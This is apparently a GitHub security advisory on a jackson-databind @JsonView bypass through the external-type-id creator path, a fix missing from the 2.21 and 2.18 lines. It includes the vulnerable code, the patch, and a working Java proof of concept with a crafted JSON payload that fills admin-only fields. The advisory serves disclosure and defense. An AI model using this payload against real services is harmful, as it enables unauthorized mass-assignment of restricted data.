GHSA-mhm7-754m-9p8w
ADVISORY - githubSummary
Summary
In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.
This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but
the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.
Vulnerable Code Path
File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java
Method: deserializeUsingPropertyBasedWithExternalTypeId
On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):
if (creatorProp != null) {
// [databind#1381]: if useInput=FALSE, skip deserialization from input
if (creatorProp.isInjectionOnly()) { ... }
// NO visibleInView(activeView) CHECK HERE
if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
if (buffer.assignParameter(creatorProp, ...)) { ... }
}
continue;
}
On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):
if (creatorProp != null) {
// [databind#5971]: must honor active view here too
if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
p.skipChildren();
continue;
}
...
}
The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.
Proof of Concept
Compiles and runs against jackson-databind 2.21.4:
import com.fasterxml.jackson.annotation.*;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonViewExternalTypeIdBypass {
public static class PublicView {}
public static class AdminView extends PublicView {}
public static abstract class Asset { public String name; }
public static class PublicAsset extends Asset {}
public static class AdminAsset extends Asset { public String secret; }
public static class Container {
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
property = "kind")
@JsonSubTypes({
@JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
@JsonSubTypes.Type(value = AdminAsset.class, name = "admin")
})
@JsonView(AdminView.class)
public Asset asset;
public String label;
@JsonCreator
public Container(
@JsonProperty("label") String label,
@JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
this.label = label;
this.asset = asset;
}
}
public static class Wrapper {
@JsonView(PublicView.class)
public Container data;
}
public static void main(String[] args) throws Exception {
// Admin-only "asset" should be blocked when reading with PublicView
String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
+ "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";
ObjectMapper om = new ObjectMapper();
Wrapper r = om.readerWithView(PublicView.class)
.forType(Wrapper.class)
.readValue(json);
System.out.println(r.data);
// Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
// Expected (secure): Container{label='hello', asset=null}
if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
}
}
}
A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.
Impact
View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.
- CWE-863 (Incorrect Authorization)
- Same impact class as CVE-2026-54517 / CVE-2026-54518
- No RCE, no DoS — this is an access-control / mass-assignment bypass
Trigger Conditions
Developer code must combine (no opt-in user configuration required):
- Property-based @JsonCreator on the outer type
- A creator parameter annotated with @JsonView(RestrictedView.class)
- The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")
Common Weakness Enumeration (CWE)
Incorrect Authorization
GitHub
3.9
CVSS SCORE
6.5mediumChainguard
CGA-8j78-2cc6-f6p7
-
minimos
MINI-2vpw-gw6c-hmqv
-
minimos
MINI-344x-2484-pv75
-
minimos
MINI-3c2m-wh29-5j49
-
minimos
MINI-3vhx-26pv-crq4
-
minimos
MINI-565m-6mq9-cw7q
-
minimos
MINI-5g7x-w5wh-3g47
-
minimos
MINI-5hfr-96cf-8q5j
-
minimos
MINI-642p-95c6-v6f5
-
minimos
MINI-6vq6-gxwr-wc3h
-
minimos
MINI-8jc3-fhv2-5c6m
-
minimos
MINI-8qhg-vvwf-2r89
-
minimos
MINI-8w9g-ghr9-5wwc
-
minimos
MINI-8x2j-gm5g-6638
-
minimos
MINI-93qv-xmcj-v3p6
-
minimos
MINI-9fm8-ffqj-p6r7
-
minimos
MINI-9vcw-xrm2-4mx3
-
minimos
MINI-cjgm-6ppf-cc9c
-
minimos
MINI-cpc2-82w8-6ppg
-
minimos
MINI-fgc9-f2cf-7789
-
minimos
MINI-fr64-h276-5pqh
-
minimos
MINI-gh46-cwf2-p9q9
-
minimos
MINI-hgpw-6grm-2r4x
-
minimos
MINI-hw23-8hxw-wwqv
-
minimos
MINI-jq8c-f63f-v2cp
-
minimos
MINI-jqqv-xr53-vfg4
-
minimos
MINI-jw7v-vh9f-73q8
-
minimos
MINI-m57h-67j2-4xc4
-
minimos
MINI-mjq6-242r-95w2
-
minimos
MINI-mjx3-jp5f-2rwf
-
minimos
MINI-p2mq-9g5w-rh93
-
minimos
MINI-prc8-r5g5-jxwr
-
minimos
MINI-qh64-gmcm-mf9r
-
minimos
MINI-qvh8-p375-g7jh
-
minimos
MINI-r6m6-m8f2-gxvm
-
minimos
MINI-vf2m-f9cx-ffmp
-
minimos
MINI-vx96-v8pq-fr2q
-
minimos
MINI-x7q8-9hv5-6mrh
-
minimos
MINI-xj2j-86hp-mv6q
-